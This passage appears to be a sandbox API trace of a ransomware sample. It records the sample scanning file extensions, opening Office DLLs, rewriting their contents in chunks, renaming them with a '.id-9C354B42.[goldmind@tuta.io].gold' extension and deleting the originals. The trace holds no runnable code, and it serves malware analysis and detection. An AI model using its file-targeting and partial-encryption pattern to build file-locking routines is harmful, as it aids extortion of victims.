Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0052.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0052.165] lstrlenW (lpString=".doc") returned 4 [0052.165] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0052.165] lstrlenW (lpString=".docx") returned 5 [0052.165] lstrcmpiW (lpString1=".docx", lpString2="H.DLL") returned -1 [0052.165] lstrlenW (lpString=".pdf") returned 4 [0052.165] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0052.165] lstrlenW (lpString=".xls") returned 4 [0052.165] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0052.165] lstrlenW (lpString=".xlsx") returned 5 [0052.165] lstrcmpiW (lpString1=".xlsx", lpString2="H.DLL") returned -1 [0052.165] lstrlenW (lpString=".ppt") returned 4 [0052.165] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0052.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0052.165] lstrlenW (lpString=".zip") returned 4 [0052.165] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0052.165] lstrlenW (lpString=".rar") returned 4 [0052.165] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0052.165] lstrlenW (lpString=".bz2") returned 4 [0052.165] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0052.165] lstrlenW (lpString=".7z") returned 3 [0052.165] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0052.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0052.165] lstrlenW (lpString=".dbf") returned 4 [0052.165] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0052.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0052.165] lstrlenW (lpString=".1cd") returned 4 [0052.165] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0052.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0052.165] lstrlenW (lpString=".jpg") returned 4 [0052.165] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0052.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0052.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0052.165] lstrlenW (lpString=".doc") returned 4 [0052.165] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0052.165] lstrlenW (lpString=".docx") returned 5 [0052.165] lstrcmpiW (lpString1=".docx", lpString2="H.DLL") returned -1 [0052.166] lstrlenW (lpString=".pdf") returned 4 [0052.166] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0052.166] lstrlenW (lpString=".xls") returned 4 [0052.166] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0052.166] lstrlenW (lpString=".xlsx") returned 5 [0052.166] lstrcmpiW (lpString1=".xlsx", lpString2="H.DLL") returned -1 [0052.166] lstrlenW (lpString=".ppt") returned 4 [0052.166] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0052.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0052.166] lstrlenW (lpString=".zip") returned 4 [0052.166] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0052.166] lstrlenW (lpString=".rar") returned 4 [0052.166] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0052.166] lstrlenW (lpString=".bz2") returned 4 [0052.166] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0052.166] lstrlenW (lpString=".7z") returned 3 [0052.166] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0052.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0052.166] lstrlenW (lpString=".dbf") returned 4 [0052.166] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0052.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0052.166] lstrlenW (lpString=".1cd") returned 4 [0052.166] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0052.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0052.166] lstrlenW (lpString=".jpg") returned 4 [0052.166] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0052.166] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0052.166] lstrlenW (lpString="ACEEXCL.DLL") returned 11 [0052.166] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0052.167] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=899992) returned 1 [0052.167] CloseHandle (hObject=0x1b0) returned 1 [0052.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll")) returned 0x20 [0052.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0052.167] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0052.167] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0052.167] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0052.167] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0052.167] GetLastError () returned 0x0 [0052.167] ReadFile (in: hFile=0x1b0, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0xdbb98, lpOverlapped=0x0) returned 1 [0052.320] WriteFile (in: hFile=0x210, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xdbba0, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xdbba0, lpOverlapped=0x0) returned 1 [0052.331] ReadFile (in: hFile=0x1b0, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0052.331] WriteFile (in: hFile=0x210, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xea, lpOverlapped=0x0) returned 1 [0052.331] SetEndOfFile (hFile=0x210) returned 1 [0052.453] CloseHandle (hObject=0x210) returned 1 [0052.461] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0052.461] SetEndOfFile (hFile=0x1b0) returned 1 [0052.691] CloseHandle (hObject=0x1b0) returned 1 [0052.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0052.730] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll")) returned 1 [0052.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0052.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0052.731] lstrlenW (lpString=".doc") returned 4 [0052.731] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0052.731] lstrlenW (lpString=".docx") returned 5 [0052.731] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0052.731] lstrlenW (lpString=".pdf") returned 4 [0052.731] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0052.731] lstrlenW (lpString=".xls") returned 4 [0052.731] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0052.731] lstrlenW (lpString=".xlsx") returned 5 [0052.731] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0052.731] lstrlenW (lpString=".ppt") returned 4 [0052.731] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0052.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0052.731] lstrlenW (lpString=".zip") returned 4 [0052.731] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0052.731] lstrlenW (lpString=".rar") returned 4 [0052.731] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0052.731] lstrlenW (lpString=".bz2") returned 4 [0052.731] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0052.731] lstrlenW (lpString=".7z") returned 3 [0052.731] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0052.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0052.732] lstrlenW (lpString=".dbf") returned 4 [0052.732] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0052.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0052.732] lstrlenW (lpString=".1cd") returned 4 [0052.732] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0052.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0052.732] lstrlenW (lpString=".jpg") returned 4 [0052.732] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0052.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0052.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0052.732] lstrlenW (lpString=".doc") returned 4 [0052.732] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0052.732] lstrlenW (lpString=".docx") returned 5 [0052.732] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0052.732] lstrlenW (lpString=".pdf") returned 4 [0052.732] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0052.732] lstrlenW (lpString=".xls") returned 4 [0052.732] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0052.732] lstrlenW (lpString=".xlsx") returned 5 [0052.732] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0052.732] lstrlenW (lpString=".ppt") returned 4 [0052.732] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0052.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0052.732] lstrlenW (lpString=".zip") returned 4 [0052.732] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0052.732] lstrlenW (lpString=".rar") returned 4 [0052.732] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0052.732] lstrlenW (lpString=".bz2") returned 4 [0052.732] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0052.732] lstrlenW (lpString=".7z") returned 3 [0052.732] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0052.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0052.732] lstrlenW (lpString=".dbf") returned 4 [0052.732] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0052.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0052.732] lstrlenW (lpString=".1cd") returned 4 [0052.732] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0052.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0052.732] lstrlenW (lpString=".jpg") returned 4 [0052.732] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0052.733] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0052.733] lstrlenW (lpString="ACEWDAT.DLL") returned 11 [0052.733] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0052.733] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=3050912) returned 1 [0052.733] CloseHandle (hObject=0x1b0) returned 1 [0052.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll")) returned 0x20 [0052.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0052.737] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0052.738] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0052.738] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0x0) returned 1 [0052.738] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0052.738] ReadFile (in: hFile=0x1b0, lpBuffer=0x3960058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x3960058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.740] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xf848a, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0052.740] ReadFile (in: hFile=0x1b0, lpBuffer=0x39a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39a0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.747] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0052.747] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x2a8da0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0052.747] ReadFile (in: hFile=0x1b0, lpBuffer=0x39e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39e0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.763] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0052.764] WriteFile (in: hFile=0x1b0, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2dafcb0, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0052.862] SetEndOfFile (hFile=0x1b0) returned 1 [0053.943] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3f24088 [0053.984] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0053.984] WriteFile (in: hFile=0x1b0, lpBuffer=0x3f24088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f24088*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0053.985] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xf848a, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0053.985] WriteFile (in: hFile=0x1b0, lpBuffer=0x3f24088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f24088*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0053.989] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x2a8da0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0053.989] WriteFile (in: hFile=0x1b0, lpBuffer=0x3f24088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f24088*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0053.990] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3f24088 | out: hHeap=0x880000) returned 1 [0053.990] CloseHandle (hObject=0x1b0) returned 1 [0053.991] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0053.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0053.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0053.991] lstrlenW (lpString=".doc") returned 4 [0053.991] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0053.991] lstrlenW (lpString=".docx") returned 5 [0053.991] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0053.991] lstrlenW (lpString=".pdf") returned 4 [0053.991] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0053.991] lstrlenW (lpString=".xls") returned 4 [0053.991] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0053.991] lstrlenW (lpString=".xlsx") returned 5 [0053.991] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0053.991] lstrlenW (lpString=".ppt") returned 4 [0053.991] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0053.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0053.991] lstrlenW (lpString=".zip") returned 4 [0053.991] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0053.991] lstrlenW (lpString=".rar") returned 4 [0053.991] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0053.991] lstrlenW (lpString=".bz2") returned 4 [0053.991] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0053.991] lstrlenW (lpString=".7z") returned 3 [0053.991] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0053.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0053.991] lstrlenW (lpString=".dbf") returned 4 [0053.991] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0053.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0053.991] lstrlenW (lpString=".1cd") returned 4 [0053.991] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0053.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0053.991] lstrlenW (lpString=".jpg") returned 4 [0053.991] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0053.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0053.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0053.991] lstrlenW (lpString=".doc") returned 4 [0053.991] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0053.991] lstrlenW (lpString=".docx") returned 5 [0053.991] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0053.991] lstrlenW (lpString=".pdf") returned 4 [0053.992] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0053.992] lstrlenW (lpString=".xls") returned 4 [0053.992] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0053.992] lstrlenW (lpString=".xlsx") returned 5 [0053.992] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0053.992] lstrlenW (lpString=".ppt") returned 4 [0053.992] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0053.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0053.992] lstrlenW (lpString=".zip") returned 4 [0053.992] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0053.992] lstrlenW (lpString=".rar") returned 4 [0053.992] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0053.992] lstrlenW (lpString=".bz2") returned 4 [0053.992] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0053.992] lstrlenW (lpString=".7z") returned 3 [0053.992] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0053.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0053.992] lstrlenW (lpString=".dbf") returned 4 [0053.992] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0053.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0053.992] lstrlenW (lpString=".1cd") returned 4 [0053.992] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0053.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0053.992] lstrlenW (lpString=".jpg") returned 4 [0053.992] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0053.992] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0053.992] lstrlenW (lpString="ATLCONV.DLL") returned 11 [0053.992] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0055.158] GetFileSizeEx (in: hFile=0x238, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=385368) returned 1 [0055.158] CloseHandle (hObject=0x238) returned 1 [0055.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll")) returned 0x20 [0055.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0055.158] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0055.158] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0055.158] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0055.158] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0055.159] GetLastError () returned 0x0 [0055.159] ReadFile (in: hFile=0x238, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x5e158, lpOverlapped=0x0) returned 1 [0055.212] WriteFile (in: hFile=0x23c, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0x5e160, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0x5e160, lpOverlapped=0x0) returned 1 [0055.217] ReadFile (in: hFile=0x238, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, 